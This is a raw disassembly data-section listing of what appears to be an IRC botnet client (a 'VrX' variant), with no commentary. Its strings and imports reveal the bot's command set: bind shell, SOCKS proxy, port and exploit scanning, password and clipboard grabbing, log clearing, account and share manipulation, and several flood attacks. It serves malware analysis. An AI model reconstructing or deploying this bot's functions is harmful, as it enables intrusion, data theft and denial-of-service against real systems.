aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C154 db 2Dh ; - ; DATA XREF: sub_401AC7+2252o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42C190 db 2Dh ; - ; DATA XREF: sub_401AC7+21E7o
; sub_40BD7C+449o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C1CC db 2Dh ; - ; DATA XREF: sub_401AC7+20E0o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42C208 db 2Dh ; - ; DATA XREF: sub_401AC7+2071o
; sub_40BD7C+DAo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42C23C db 2Dh ; - ; DATA XREF: sub_401AC7+1FBFo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42C25C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403A70o
db 3, 34h, 2
db 4Dh ; M
db 61h, 2 dup(53h)
db 20h
db 53h, 63h, 41h
db 6Eh ; n
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start scan, port is invalid.',0
unk_42C294 db 2Dh ; - ; DATA XREF: sub_401AC7+1F5Co
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0
align 10h
unk_42C2D0 db 2Dh ; - ; DATA XREF: sub_401AC7+1EEBo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_401AC7+1EC0o
; sub_401AC7+5B6Ao
align 4
aRandom db 'Random',0 ; DATA XREF: sub_401AC7+1EB9o
; sub_401AC7+5B63o
align 10h
dword_42C350 dd 234032Dh, 3025A56h ; DATA XREF: sub_401AC7+1CFFo
aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0
align 4
unk_42C38C db 2Dh ; - ; DATA XREF: sub_401AC7+1CA2o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0
unk_42C3C8 db 2Dh ; - ; DATA XREF: sub_401AC7+1C10o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_401AC7+1BE2o
align 4
aFindpass db 'findpass',0 ; DATA XREF: sub_401AC7+1BD1o
align 10h
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0
; DATA XREF: sub_401AC7+1BBBo
aPhonehome db 'phonehome',0 ; DATA XREF: sub_401AC7+1BA4o
align 10h
off_42C440 dd offset word_587A56 ; DATA XREF: sub_401AC7+1B8Fo
aAsn445 db 'asn445',0 ; DATA XREF: sub_401AC7+1B7Ao
align 4
unk_42C44C db 3 ; DATA XREF: sub_401AC7+1B2Ao
a81VrxCrashingB db '8,1-VrX- Crashing bot.',0
aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401AC7+1B14o
; sub_401AC7+1B64o
align 10h
aTftp db 'tftp',0 ; DATA XREF: sub_401AC7+1AFFo
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401AC7+1AEAo
align 4
aHttp db 'http',0 ; DATA XREF: sub_401AC7+1AD5o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_401AC7+1AC0o
align 4
aRlogin db 'rlogin',0 ; DATA XREF: sub_401AC7+1AABo
align 10h
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401AC7+1A96o
align 10h
aCip db 'cip',0 ; DATA XREF: sub_401AC7+1A81o
aCurrentip db 'currentip',0 ; DATA XREF: sub_401AC7+1A6Co
align 10h
aFdns db 'fdns',0 ; DATA XREF: sub_401AC7+1A57o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: sub_401AC7+1A42o
align 4
aFarp db 'farp',0 ; DATA XREF: sub_401AC7+1A2Do
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_401AC7+1A18o
align 4
aGc db 'gc',0 ; DATA XREF: sub_401AC7+1A03o
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_401AC7+19EEo
unk_42C4F4 db 2Dh ; - ; DATA XREF: sub_401AC7+19B0o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_401AC7+1995o
; sub_401AC7+3C85o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_401AC7+1981o
align 4
unk_42C528 db 3 ; DATA XREF: sub_401AC7+1961o
a81VrxLoginList db '8,1-VrX- Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_401AC7+192Co
align 10h
aEmpty db '<Empty>',0 ; DATA XREF: sub_401AC7:loc_4033E6o
dword_42C558 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_401AC7+18F5o
dword_42C56C dd 6F6877h ; DATA XREF: sub_401AC7+18D8o
dword_42C570 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AC7+18CDo
dword_42C57C dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401AC7+18C8o
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401AC7+18AFo
aOcmd db 'ocmd',0 ; DATA XREF: sub_401AC7+189Ao
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_401AC7+1885o
aDll db 'dll',0 ; DATA XREF: sub_401AC7+1870o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_401AC7+185Bo
align 4
aDrv db 'drv',0 ; DATA XREF: sub_401AC7+1846o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401AC7+1831o
align 4
aUp db 'up',0 ; DATA XREF: sub_401AC7+181Co
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_401AC7+1807o
align 10h
aPs db 'ps',0 ; DATA XREF: sub_401AC7+17F2o
align 4
aProcs db 'procs',0 ; DATA XREF: sub_401AC7+17DDo
align 4
aKosomak db 'KOSOMAK',0 ; DATA XREF: sub_401AC7+17C8o
aKosomakyad db 'KOSOMAKYAD',0 ; DATA XREF: sub_401AC7+17B3o
align 10h
aSi db 'si',0 ; DATA XREF: sub_401AC7+179Eo
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401AC7+1789o
aNi db 'ni',0 ; DATA XREF: sub_401AC7+1774o
align 10h
aNetinfo db 'netinfo',0 ; DATA XREF: sub_401AC7+175Fo
aClg db 'clg',0 ; DATA XREF: sub_401AC7+174Ao
aClearlog db 'clearlog',0 ; DATA XREF: sub_401AC7+1735o
align 4
aLg db 'lg',0 ; DATA XREF: sub_401AC7+1720o
align 4
aLog db 'log',0 ; DATA XREF: sub_401AC7+170Bo
aAl db 'al',0 ; DATA XREF: sub_401AC7+16F6o
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_401AC7+16E1o
aT: ; DATA XREF: sub_401AC7+16CCo
; ___:00438324o
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_401AC7+16B7o
unk_42C638 db 3 ; DATA XREF: sub_401AC7+1683o
a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0
align 4
unk_42C65C db 3 ; DATA XREF: sub_401AC7+167Co
a81VrxRebooting db '8,1-VrX- Rebooting system.',0
aR3start db 'r3start',0 ; DATA XREF: sub_401AC7+1665o
aI: ; DATA XREF: sub_401AC7+1650o
; ___:004382F8o
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_401AC7+163Bo
align 4
aS_0: ; DATA XREF: sub_401AC7+1626o
; ___:00438374o
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_401AC7+1611o
align 4
aQ: ; DATA XREF: sub_401AC7+15FCo
; ___:off_437F90o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_401AC7+15E7o
align 10h
aDc db 'dc',0 ; DATA XREF: sub_401AC7+15D2o
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: sub_401AC7+15BDo
align 10h
aR: ; DATA XREF: sub_401AC7+15A8o
; sub_401AC7+3D92o ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_401AC7+1593o
align 10h
aExplist db 'explist',0 ; DATA XREF: sub_401AC7+157Eo
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401AC7+1569o
aCbstats db 'cbstats',0 ; DATA XREF: sub_401AC7+1554o
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401AC7+153Fo
align 10h
aTrstats db 'trstats',0 ; DATA XREF: sub_401AC7+152Ao
aTransferstats db 'transferstats',0 ; DATA XREF: sub_401AC7+1515o
align 4
aStats db 'stats',0 ; DATA XREF: sub_401AC7+1500o
align 10h
aScanstats db 'scanstats',0 ; DATA XREF: sub_401AC7+14EBo
align 4
dword_42C71C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401AC7+14E0o
aScan_0 db 'Scan',0 ; DATA XREF: sub_401AC7+14DBo
align 10h
aScanstop db 'scanstop',0 ; DATA XREF: sub_401AC7+14C2o
align 4
dword_42C73C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401AC7+14B7o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_401AC7+14B2o
align 4
aSecurestop db 'securestop',0 ; DATA XREF: sub_401AC7+1499o
align 10h
dword_42C760 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401AC7+148Eo
aClone db 'Clone',0 ; DATA XREF: sub_401AC7+1489o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_401AC7+1470o
align 4
aPsstop db 'psstop',0 ; DATA XREF: sub_401AC7+145Bo
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_401AC7+1446o
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_401AC7+1431o
align 10h
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401AC7+141Co
align 10h
dword_42C7B0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401AC7+1411o
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401AC7+13F3o
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_401AC7+13CAo
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_401AC7+13A1o
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401AC7+1378o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401AC7+134Fo
unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401AC7+1335o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42C82C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401AC7+12FAo
; sub_401AC7+1396o
dword_42C83C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401AC7+12F5o
; sub_401AC7+1391o
dword_42C84C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401AC7+12DCo
; sub_401AC7+136Do
dword_42C85C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+12D7o
; sub_401AC7+1368o
dword_42C86C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401AC7+127Co
; sub_401AC7+13E8o
dword_42C878 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1277o
; sub_401AC7+13E3o
dword_42C884 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AC7+125Eo
; sub_401AC7+13BFo
dword_42C890 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+1259o
; sub_401AC7+13BAo
aPacketstop db 'packetstop',0 ; DATA XREF: sub_401AC7+11F9o
align 4
dword_42C8A8 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401AC7+11EEo
; sub_401AC7+12BBo
dword_42C8B4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+11E9o
; sub_401AC7+12B6o
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401AC7+11D0o
align 4
dword_42C8CC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401AC7+11C5o
; sub_401AC7+129Do
dword_42C8DC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401AC7+11C0o
; sub_401AC7+1298o
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401AC7+11A7o
align 4
dword_42C8F8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401AC7+119Co
; sub_401AC7+131Bo
dword_42C908 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401AC7+1197o
; sub_401AC7+1316o
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401AC7+117Eo
align 4
dword_42C924 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AC7+1173o
; sub_401AC7+123Do
dword_42C930 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+116Eo
; sub_401AC7+1238o
aSynstop db 'synstop',0 ; DATA XREF: sub_401AC7+1155o
dword_42C944 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401AC7+114Ao
; sub_401AC7+121Fo
dword_42C950 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1145o
; sub_401AC7+121Ao
dword_42C95C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AC7+112Co
dword_42C968 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401AC7+1121o
dword_42C978 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401AC7+111Co
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401AC7+1103o
align 4
dword_42C998 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AC7+10F8o
dword_42C9A4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401AC7+10F3o
aLogstop db 'logstop',0 ; DATA XREF: sub_401AC7+10DAo
dword_42C9B8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401AC7+10CFo
aHttpstop db 'httpstop',0 ; DATA XREF: sub_401AC7+10B1o
align 4
dword_42C9D4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401AC7+10A6o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401AC7+1088o
align 10h
dword_42C9F0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401AC7+107Do
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401AC7+105Fo
align 4
aS4 db 's4',0 ; DATA XREF: sub_401AC7+104Ao
align 10h
aSocks4 db 'socks4',0 ; DATA XREF: sub_401AC7+1035o
align 4
dword_42CA18 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
; DATA XREF: sub_401AC7+102Ao
aServer_0 db 'Server',0 ; DATA XREF: sub_401AC7+1025o
; sub_401AC7+1078o ...
align 4
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401AC7+100Co
align 4
aBd db 'bd',0 ; DATA XREF: sub_401AC7+FF7o
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_401AC7+FE2o
align 4
aUnsec db 'unsec',0 ; DATA XREF: sub_401AC7+FCDo
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401AC7+FB8o
align 4
aSec db 'sec',0 ; DATA XREF: sub_401AC7+FA3o
; sub_401AC7+2D36o
aSecure db 'secure',0 ; DATA XREF: sub_401AC7+F8Eo
; sub_401AC7+2D25o
align 4
aSt db 'st',0 ; DATA XREF: sub_401AC7+F79o
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401AC7+F64o
align 4
aRz db 'rz',0 ; DATA XREF: sub_401AC7+F4Fo
align 4
aRulez db 'rulez',0 ; DATA XREF: sub_401AC7+F3Ao
align 10h
aVer db 'ver',0 ; DATA XREF: sub_401AC7+F25o
aVersion db 'version',0 ; DATA XREF: sub_401AC7+F10o
aLo db 'lo',0 ; DATA XREF: sub_401AC7+EFBo
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_401AC7+EE6o
align 4
aDi3 db 'di3',0 ; DATA XREF: sub_401AC7+EBCo
; sub_401AC7+ED1o
aRn db 'rn',0 ; DATA XREF: sub_401AC7+EA7o
align 10h
aRndnick db 'rndnick',0 ; DATA XREF: sub_401AC7+E8Fo
a63 db '63',0 ; DATA XREF: sub_401AC7+D5Co
align 4
asc_42CABC: ; DATA XREF: sub_401AC7+D34o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_401AC7+CF7o
align 4
aServer_1 db '$server',0 ; DATA XREF: sub_401AC7+CECo
aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401AC7+CDBo
align 4
aChan db '$chan',0 ; DATA XREF: sub_401AC7+CBFo
align 4
aUser_1 db '$user',0 ; DATA XREF: sub_401AC7+CAEo
align 4
aMe db '$me',0 ; DATA XREF: sub_401AC7+C9Co
aD db '$%d',0 ; DATA XREF: sub_401AC7+C2Eo
aD_0 db '$%d-',0 ; DATA XREF: sub_401AC7+B6Ao
align 4
aC: ; DATA XREF: sub_401AC7+A7Eo
; sub_401AC7+4AEFo
unicode 0, <c>,0
unk_42CB00 db 2Dh ; - ; DATA XREF: sub_401AC7+A58o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42CB34 db 2Dh ; - ; DATA XREF: sub_401AC7+A47o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42CB64 db 2Dh ; - ; DATA XREF: sub_401AC7+A36o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_42CB9C db 2Dh ; - ; DATA XREF: sub_401AC7+9C7o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_401AC7+933o
align 4
unk_42CBC4 db 2Dh ; - ; DATA XREF: sub_401AC7+919o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
unk_42CC08 db 2Dh ; - ; DATA XREF: sub_401AC7+8FBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0
align 4
dword_42CC44 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401AC7+8EAo
dd 0A0Dh
dword_42CC5C dd 4E495001h, 47h ; DATA XREF: sub_401AC7+8B6o
dword_42CC64 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401AC7+8ABo
dd 0D017325h, 0Ah
dword_42CC80 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401AC7+87Ao
dword_42CC8C dd 23h ; DATA XREF: sub_401AC7+7F1o
; sub_40CD2A+1Bo
unk_42CC90 db 2Dh ; - ; DATA XREF: sub_401AC7+760o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 10h
aS_1 db '%s',0 ; DATA XREF: sub_401AC7+6E7o
; sub_401AC7+970o ...
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_401AC7+6C0o
align 4
dword_42CCCC dd 43434401h, 0 ; DATA XREF: sub_401AC7+6A2o
dword_42CCD4 dd 323333h ; DATA XREF: sub_401AC7+62Co
; sub_401AC7+AB4o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_401AC7+60Ao
; sub_409862+Fo
align 10h
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401AC7+5FEo
; sub_409862+16o
unk_42CCE8 db 3 ; DATA XREF: sub_401AC7+5ADo
a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0
align 4
unk_42CD08 db 3 ; DATA XREF: sub_401AC7+58Do
a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_401AC7+55Co
aQuit db 'QUIT',0 ; DATA XREF: sub_401AC7+51Fo
align 4
aPart db 'PART',0 ; DATA XREF: sub_401AC7+50Eo
; sub_401AC7+5CAo
align 4
aSS db ':%s%s',0 ; DATA XREF: sub_401AC7+4E9o
align 4
aNick db 'NICK',0 ; DATA XREF: sub_401AC7+3CBo
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+36Eo
; sub_401AC7+5EEo
unk_42CD5C db 3 ; DATA XREF: sub_401AC7+355o
; sub_401AC7+2E89o ...
a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_401AC7+2E4o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+28Do
; sub_401AC7+7A99o ...
align 10h
a433 db '433',0 ; DATA XREF: sub_401AC7+265o
; sub_417B1E:loc_417B95o
a@: ; DATA XREF: sub_401AC7+23Ao
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_401AC7+22Ao
a005 db '005',0 ; DATA XREF: sub_401AC7+215o
a001 db '001',0 ; DATA XREF: sub_401AC7+200o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1E4o
; sub_401AC7+3B8o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1C3o
align 10h
aPing db 'PING',0 ; DATA XREF: sub_401AC7+1A9o
; sub_417B1E+50o
align 4
asc_42CDC8: ; DATA XREF: sub_401AC7+19Ao
; sub_401AC7+7BA2o
unicode 0, <!>,0
asc_42CDCC: ; DATA XREF: sub_401AC7+A8o
; sub_401AC7+E34o ...
unicode 0, < >,0
asc_42CDD0 db ' :',0 ; DATA XREF: sub_401AC7+86o
; sub_401AC7:loc_4025D3o
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409862+58o
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4098FD+C7Fo
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4098FD+C77o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4098FD:loc_40A567o
align 4
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4098FD+C15o
align 4
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4098FD+C08o
align 4
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4098FD+BFBo
align 4
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4098FD+BEEo
align 4
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4098FD+BE1o
align 4
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4098FD+BD9o
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4098FD:loc_40A4C9o
align 4
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4098FD+B97o
align 4
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4098FD+B8Fo
align 4
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4098FD:loc_40A47Fo
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4098FD+B3Do
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4098FD+B30o
align 10h
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4098FD+B23o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4098FD+B1Bo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4098FD:loc_40A40Bo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4098FD+AD9o
align 4
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4098FD+AD1o
align 4
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4098FD:loc_40A3C1o
align 4
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4098FD+A8Fo
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4098FD+A87o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4098FD:loc_40A377o
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4098FD+9F9o
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4098FD+9ECo
; sub_418AA2+65o
align 10h
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4098FD+9DFo
align 10h
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4098FD+9D2o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4098FD+9C5o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4098FD+9B8o
align 4
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4098FD+9ABo
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4098FD+99Eo
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4098FD+991o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4098FD+984o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4098FD+977o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4098FD+96Fo
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4098FD:loc_40A25Bo
; sub_418AA2+58o
align 4
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4098FD+921o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4098FD+914o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4098FD+90Co
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4098FD:loc_40A1FCo
align 10h
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4098FD+8D2o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4098FD+860o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4098FD+853o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4098FD+846o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4098FD+839o
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4098FD+82Co
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4098FD+81Fo
align 10h
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4098FD+812o
align 4
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4098FD+805o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4098FD+7F8o
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4098FD+7F0o
align 10h
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4098FD:loc_40A0DCo
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4098FD+6A6o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4098FD+699o
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4098FD+68Co
align 4
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4098FD+67Fo
align 4
aGethostname db 'gethostname',0 ; DATA XREF: sub_4098FD+672o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4098FD+665o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4098FD+658o
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4098FD+64Bo
align 10h
aListen db 'listen',0 ; DATA XREF: sub_4098FD+63Eo
align 4
aSelect db 'select',0 ; DATA XREF: sub_4098FD+631o
align 10h
